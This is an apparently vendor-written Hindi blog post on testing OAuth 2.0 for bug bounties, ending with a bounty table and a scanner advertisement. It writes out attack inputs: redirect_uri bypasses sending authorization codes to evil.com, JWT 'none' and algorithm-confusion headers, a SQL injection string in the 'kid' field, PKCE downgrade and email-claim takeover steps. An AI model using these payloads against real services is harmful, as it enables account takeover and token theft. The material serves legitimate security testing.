OAuth 2.0 वल्नरेबिलिटीज़ लगातार क्रिटिकल-सिविरिटी बग बाउंटी पेआउट्स के चार्ट्स में शीर्ष पर रहती हैं। OAuth मिसकॉन्फ़िगरेशन के ज़रिए एक ही अकाउंट टेकओवर पूरे संगठनात्मक कॉम्प्रोमाइज़ में बदल सकता है — और ये बग्स अरबों लोगों द्वारा उपयोग किए जाने वाले एप्लिकेशंस में दिखाई देते हैं।
यह समझना कि टार्गेट किस फ़्लो का उपयोग करता है, यह निर्धारित करता है कि किन अटैक्स का परीक्षण करना है। Authorization Code फ़्लो (PKCE के साथ) सबसे सुरक्षित और सबसे आम है। अब डेप्रिकेटेड Implicit फ़्लो में कई वल्नरेबिलिटीज़ हैं। Client Credentials (मशीन-से-मशीन) का अपना अटैक सर्फ़ेस है। कभी प्रोडक्शन में उपयोग न करें: Resource Owner Password Credentials।
यदि authorization server redirect_uri को अपर्याप्त सटीकता के साथ वैलिडेट करता है, तो एक हमलावर authorization code को अपने नियंत्रित सर्वर पर रीडायरेक्ट कर सकता है।
# Legitimate request
https://auth.example.com/oauth/authorize?
client_id=app123&
redirect_uri=https://app.com/callback&
response_type=code&state=xyz
# Attack attempts
# 1. Path traversal
redirect_uri=https://app.com/callback/../../../evil.com/steal
# 2. Additional path
redirect_uri=https://app.com.evil.com/callback
# 3. Fragment bypass
redirect_uri=https://app.com/callback%23@evil.com
# 4. Query string bypass
redirect_uri=https://app.com/callback?next=https://evil.com state पैरामीटर OAuth फ़्लोज़ के दौरान CSRF अटैक्स को रोकता है। यदि अनुपस्थित या अनुमान लगाने योग्य है, तो एक हमलावर पीड़ितों को उनके अकाउंट्स को हमलावर-नियंत्रित पहचानों से कनेक्ट करने के लिए मजबूर कर सकता है — जो अकाउंट टेकओवर को सक्षम बनाता है।
# Check if state is:
# 1. Present in authorization request
# 2. Validated on callback
# 3. Cryptographically random (not sequential/predictable)
# 4. Single-use (replayed states should be rejected)
# Test: replay the same state parameter
curl -s "https://app.com/oauth/callback?code=VALID_CODE&state=PREVIOUSLY_USED_STATE"
# Should return: error (state already used)# Authorization codes must be single-use
# Test by replaying the code after first exchange:
# First use (legitimate)
POST /oauth/token
code=AUTH_CODE_123&grant_type=authorization_code&...
# Second use (should fail)
POST /oauth/token
code=AUTH_CODE_123&grant_type=authorization_code&...
# Expected: {"error": "invalid_grant"}PKCE authorization code इंटरसेप्शन अटैक्स को रोकता है। यदि PKCE सपोर्ट करने वाला सर्वर इसे एनफ़ोर्स नहीं करता, तो पब्लिक क्लाइंट्स भेद्य हैं।
# Start flow WITH PKCE (legitimate)
code_verifier = generate_random_string(64)
code_challenge = base64url(sha256(code_verifier))
GET /authorize?
code_challenge=abc123&
code_challenge_method=S256&...
# Attack: exchange code WITHOUT providing code_verifier
POST /token
grant_type=authorization_code&
code=INTERCEPTED_CODE&
redirect_uri=https://legitimate-app.com/callback
# Missing: code_verifier
# If this succeeds -> PKCE not enforced -> क्रिटिकल वल्नरेबिलिटी# Attempt to downgrade from S256 to plain (less secure)
GET /authorize?
code_challenge=ACTUAL_CODE_VERIFIER&
code_challenge_method=plain&...
# If accepted: server may be using plain instead of S256
# Then exchange with code_verifier = original plain text
POST /token
code_verifier=ORIGINAL_PLAIN_TEXT&...Implicit फ़्लो में (डेप्रिकेटेड लेकिन अभी भी पाया जाता है), URL फ़्रैगमेंट्स में access tokens (#access_token=...) Referer हेडर्स में नहीं भेजे जाते — लेकिन क्वेरी पैरामीटर्स में टोकन (?access_token=...) भेजे जाते हैं। हमेशा जाँचें कि टोकन URLs में कैसे दिखाई देते हैं।
# Request minimal scope
GET /authorize?scope=read:email&...
# After getting access token, test unauthorized API calls
GET /api/user/delete
Authorization: Bearer ACCESS_TOKEN_WITH_READ_SCOPE
# Should return 403, not 200# If access tokens are JWTs, test:
# 1. Algorithm confusion (RS256 -> HS256)
header = {"alg": "HS256", "typ": "JWT"}
# Sign with the public key as HMAC secret
# 2. None algorithm
header = {"alg": "none", "typ": "JWT"}
# Some libraries accept unsigned tokens
# 3. Kid injection (if 'kid' is used)
header = {"alg": "HS256", "kid": "' OR 1=1--"}
# SQL injection in kid parameter
# Tools:
# jwt_tool: python3 jwt_tool.py TOKEN -T (tamper)
# jwt-cracker: for weak secrets# Test if old refresh tokens are invalidated after rotation
POST /token
grant_type=refresh_token&refresh_token=OLD_REFRESH_TOKEN
# If this returns a new token -> old token not invalidated
# Attacker who stole old refresh token can still get new access tokensयदि एक पीड़ित ईमेल/पासवर्ड के साथ साइन अप करता है (ईमेल: victim@gmail.com) और एक हमलावर उसी ईमेल के साथ एक Google OAuth अकाउंट को लिंक करके पीड़ित के अकाउंट को टेकओवर कर सकता है — बिना Google द्वारा स्वामित्व सत्यापित किए — तो यह एक क्रिटिकल अकाउंट टेकओवर है। यह विशेष रूप से उन प्लेटफ़ॉर्म्स में आम है जो कई ऑथ प्रोवाइडर्स को लिंक करने की अनुमति देते हैं।
# Attack scenario:
# 1. Attacker creates account with victim@example.com (before victim registers)
# 2. Attacker links their OAuth provider to this email
# 3. When victim later registers with Google OAuth using victim@example.com
# 4. Victim gains access to attacker's pre-created account (or vice versa)
# Test by:
# 1. Register account with victim's email (before they exist)
# 2. Connect OAuth from different email
# 3. Try to access victim's future account# Some implementations allow specifying access_token in request
# or don't properly bind tokens to sessions
# Test: force a known token value
GET /oauth/callback?access_token=KNOWN_VALUE
# If the app accepts and uses this token -> token fixation# If an application ties accounts to email (not sub):
# Register malicious OAuth provider with victim's email as their 'email' claim
# Some providers let you set arbitrary email claims
# Test by creating custom OAuth provider with:
{
"sub": "attacker-unique-id",
"email": "victim@example.com",
"email_verified": true
}# Confidential clients must authenticate with client_secret
# Test if client_secret is optional:
POST /token
grant_type=authorization_code&
code=CODE&
client_id=CONFIDENTIAL_CLIENT_ID&
# Missing: client_secret
# If this works -> client authentication not enforced# Device flow (for input-constrained devices) can be abused for phishing
POST /device/code
client_id=LEGITIMATE_CLIENT
# Returns user_code that victim enters at verification_uri
# Attacker uses this for social engineering:
# "Enter code XXXX-XXXX at accounts.target.com/activate"| बग टाइप | प्लेटफ़ॉर्म | प्रभाव | बाउंटी |
|---|---|---|---|
| redirect_uri bypass | अकाउंट टेकओवर | $25,000 | |
| State पैरामीटर मिसिंग | Airbnb | CSRF → ATO | $8,000 |
| Code Reuse | Microsoft | रीप्ले अटैक | $15,000 |
| JWT none algorithm | Auth0 | Auth बायपास | $10,000 |
| Email Confusion ATO | Slack | अकाउंट टेकओवर | $20,000 |
| PKCE एनफ़ोर्स्ड नहीं | मल्टीपल | Code Interception | $5,000+ |
KENSAI का AI-संचालित स्कैनर authorization code इंटरसेप्शन, PKCE बायपास, टोकन वल्नरेबिलिटीज़, और अकाउंट टेकओवर सिनैरियोज़ के लिए आपके OAuth इम्प्लीमेंटेशंस का स्वचालित रूप से परीक्षण करता है।
मुफ़्त स्कैन शुरू करें →सिक्योरिटी वैकल्पिक नहीं है।
🗡️ KENSAI टीम